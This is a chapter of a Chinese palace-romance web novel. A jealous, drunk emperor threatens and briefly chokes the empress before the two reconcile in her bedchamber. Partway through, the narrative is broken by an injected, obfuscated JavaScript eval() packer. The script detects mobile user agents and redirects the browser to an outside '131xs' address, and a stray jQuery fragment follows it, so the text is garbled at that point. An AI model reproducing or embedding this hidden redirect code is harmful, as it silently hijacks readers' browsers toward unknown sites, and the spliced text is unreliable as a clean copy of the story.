33. 谢恩宴(四)

作品:《至高至明

    “那便有劳皇后娘娘!”


    “无碍,本就是本宫份内之事……”


    张稚的话还未完全落下,只见陈公公得了她的应允顿时轻快许多,连声应下,紧忙派人去将赵季扶下来,生怕她反悔似的。


    金辇之上,龙纹锦袍玄衣之人被扶了下来,踉踉跄跄地送进了她的寝宫里。


    一行人动作极快,丝毫不拖泥带水。


    张稚感觉只有那么一眨眼的工夫,陈公公便回来复命了。


    “皇后娘娘,陛下便交给您了,天色不早,我等不多叨扰娘娘休息,先行告退。”


    语速极快,像倒豆子一样。


    送完赵季,陈公公及众宫人们便都退下。


    长乐宫的院落里只剩下张稚主仆二人站着,两人对视,一脸懵。


    佩兰率先反应过来,快步靠近张稚,附耳道:“娘娘,这可是天大的好机会……”


    赵季宿醉,还被送进了她的寝宫。


    张稚明知道佩兰说的这个‘好机会’指的是什么,却推脱道:“本宫觉得现在还不是时候。”


    佩兰不愧是原先在宫里的老人,经验十分老道:“娘娘,当今陛下年纪已经二十有四,这事儿年纪越大越不好办,娘娘不如趁早定下来。”


    “到时候容不容易受孕是一回事,生孩子要受得苦头便多了不少。”


    “这种事在宫里多了去了,有的不用别人做什么,自己就掉了,有的却任凭其他人如何陷害刁难,还能将皇子生下来。”


    在佩兰眼里,现在后宫里只有张稚一个人,为避免后续出现什么差池,现在若是能来个孩子,是最稳妥不过的。


    “行。”


    张稚嘴上先答应着,但其实心里根本没有想好。


    两人在院子里说了会儿话,张稚便进殿去看看赵季的情况。


    寝殿里,两侧的帘幔纱帐还没有放下,床榻上却已经躺下了一个人,一动不动。


    他半个身子斜躺在榻上,靴子都没有脱,两只脚在床边悬空着,脑袋也没枕在枕头上,歪在了一边。


    张稚看着眼前的情景,心想这个陈公公办事可真不怎么样。


    皇帝被这么放着,就敢直接走人。


    她只好亲自上手,打算先把赵季的靴子脱下来。


    她的双手刚靠近,还未等有所动作,躺在床塌上的人好像早有感应一样,起身,摸靴,用力一蹬,脱下,整套动作行云流水十分丝滑。


    另一只也是一样。


    两只都脱完了人又陷入昏迷,重重躺倒在床。


    张稚似乎有点儿明白刚才是发生了什么。


    她一屁股坐在床边,往里探身,取了一缕长发,床榻上的男人此刻还在闭着眼睛装睡。


    手中的发丝散开,尾端被她捏在掌心,像挠痒痒一样,在他脖颈上凸起的喉结上轻轻撩拨着。


    人在做坏事的时候总是极有耐心。


    张稚嘴角噙着一抹笑,手中的动作丝毫不减,还有愈演愈烈之势,就看对方什么时候崩不住。


    看起来还在装睡,但一双剑眉已经控制不住地微微蹙起。


    “方才起身是撞鬼了不成,别装了,我知道你很清醒。”张稚贴近他的耳廓轻声道。


    细细痒痒,如春丝入耳。


    一双沉沉如井水的眼睛半睁开来,赵季睁开眼的第一时间便是捉住了那只一直在细痒他的一只小手。


    见人已经醒来,张稚便甩开手,从容起身。


    “陛下这又是在演什么。”


    她迎来的是长久的一阵沉默不语。


    陈公公并没有骗她,赵季的确喝了许多酒,只不过还没有到烂醉如泥的地步。


    床榻上装睡的人已经起身,即便被戳穿了以后也未见半分尴尬之色,借着酒意攀扯住了她的衣袖,稍一用力,便缩紧了两人的距离。


    赵季的衣襟上有着浓重的酒味,贴近张稚的时候,随之而来的是一股子强烈的侵占之意,令她下意识提防起来。


    他将人圈揽在怀中,细细嗅闻着她身上的香气。


    一道混着酒气的声音自耳后传来。


    “今日宴上,那探花郎……长得倒是像皇后那个‘早逝的未婚夫’。”


    最后几个字尾,语音格外加重强调。


    赵季一边吐露,一边用掌骨轻轻抚着她的脸颊,动作轻柔,却满含威胁之意。


    “皇后是不是忘记了,当年,是朕杀了他。”


    此句低哑声音落尽,他手上的力道骤然收紧,扼住了她细长白皙的脖颈。


    张稚微微有些喘不过气,透过梳妆台上的落地铜镜,将他面上的阴鸷神色看得一清二楚。


    毕竟赵季并非真的要掐死她,手上的力道正好,是刚好让她能感受得到他的存在。


    张稚挑衅一笑,“陛下,既然如此,怎么不把这个也杀了。”


    言语间全是顶撞和不敬。


    “皇后以为朕不敢?”


    张稚多少琢磨出些味道来,赵季留唐斐在京,多多少少跟她有关系。


    不过是因为唐斐的皮相和李凭有几分肖似,便能惹得他如此失态和愤怒。


    她忽而觉得,赵季根本就不算是个皇帝,撑死了是个势力大点的混混。


    “陛下敢不敢,臣妾怎么知道,不过这跟臣妾有什么关系。”


    “唐斐是陛下的臣子,是生是死,跟臣妾没有一点关系。”


    脖颈上的温度骤然降下,赵季松开了手,张稚便知道自己这句话说到他心坎上了。


    她刚松了口气,对方又从后背环绕上来,两只有力的臂膀紧紧抱着她的身体,脑袋搭在她的肩上。


    像个纠缠不休的幽灵似的。


    “皇后说的可都是真心话?”


    “是。”


    张稚通过铜镜辨别位置,精准地将手放在赵季的头上,安慰一样地摸了摸。


    她只是试探着这么做,后来赵季察觉到,反而低下头颅更加靠近她,如此一来,她便摸得心安理得了。


    给赵季顺顺毛。


    张稚一直有种感觉,便是她和赵季之间有误会存在。


    赵季只要一遇到能和李凭牵扯上的人和事,便会一反常态,格外疯癫。


    她现在已经不和他置气。


    最令她没想到的,还是赵季言之凿凿说李凭已经被他杀了,但却放了李凭一命。


    想到此处,既如此,她和赵季和好算了。


    张稚拍了拍他的手臂,示意他放开自己,而后转身,调整姿势为半跪在床榻上,这样方便她两只手捧着赵季的脸。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450747|181149||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一双黑眸颤动,期待,迷惘……搞不懂她要干什么。


    张稚认真地托着他的脸,手心微微沁汗,“或许这句话,臣妾早就应该和陛下说。”


    “臣妾,其实早就倾慕陛下。”


    “心中并无他人。”


    ‘咕咚’一声,喉结狠狠一颤。


    赵季近乎乞求的低着嗓音,“别叫我陛下,说你爱我。”


    “我爱你。”


    三个字干脆利落,没有丝毫迟疑。


    随之落下的还有一个轻轻的吻,如恩赐般毫无预兆地降下,滋润着他的唇瓣。


    赵季双手撑在床榻的被面上,头颅高扬,迎合着张稚的动作,继续加深这个不可多得的亲吻。


    两个人的喘息逐渐加重,都吻得面红潮热,有些意乱情迷。


    从前这事都是他在主导,现在轮到张稚翻身在上,跨坐两边。


    赵季从没想过还能有今日,就跟做梦一样。


    他分明已经完全陷了进去,却还强行从酸涩不堪的心口中抽出几分清醒,偏头错开目光,低声猜测道:“……你这么做,可是为了……救刘襄,还是唐斐?”


    张稚将他的头掰回来,佯装怪道:“你专心一点好不好。”


    “就是想亲你,需要那么多理由吗。”


    张稚的话一套又一套,他双臂直泛酸,青筋都爆了出来,都快有些撑不住了。


    赵季剧烈地呼吸着空气。


    最后一丝理智被消磨殆尽,如今他只想沉迷在这个温柔乡里。


    “你别后悔。”


    他留下一句话,便调转了两人的姿势,欺身压下。


    张稚原本的想法只是亲一亲而已,没想干别的。


    她忽略了赵季饮过酒,最是容易引起更加亲密的行为。


    她没有拒绝,任由两人的气息混合在一起。


    却不曾料想到,对方一声闷哼过后,忽而没了动作。


    衣衫半数褪尽,对方趴在她的胸口上,张稚试了试他的鼻息。


    还活着。


    只不过已经闭上了眼睛,浓密卷起的睫毛投下一层淡淡的影子,呼吸声变得越来越稳。


    大概是累了吗?


    张稚将赵季的身体移向一旁,替他将衣襟拢了拢,遮住了身上狰狞的伤疤,而后盖上了被子。


    这事闹的,衣服都脱了,竟然没成。


    张稚随后和衣躺在床上,横竖睡不着,又想起来佩兰同她说过的话。


    赵季……不会是已经不行了吧?


    虽然他还不算老,但是身上那么多伤,估计也已经元气大伤。


    她对此深以为然,打算明日问问佩兰该怎么办才好。


    竖日清晨,相安无事。


    怕他没面子,张稚故意没提昨晚的事情。


    赵季倒还真是喝多了酒,自晨间醒来时便头痛不堪,丝毫不记得昨晚发生了什么,过了一会儿,陈公公便来请他去上朝。


    他走的时候,张稚还在半醒不醒之中,感叹着当皇帝也不容易,趁着他上早朝的功夫又迷迷糊糊地睡了个回笼觉。


    再醒过来的时候,佩兰已经守在她身旁。


    佩兰看上去跃跃欲试着想问些什么,但一直没有开口。


    张稚便直接开门见山:“没成。”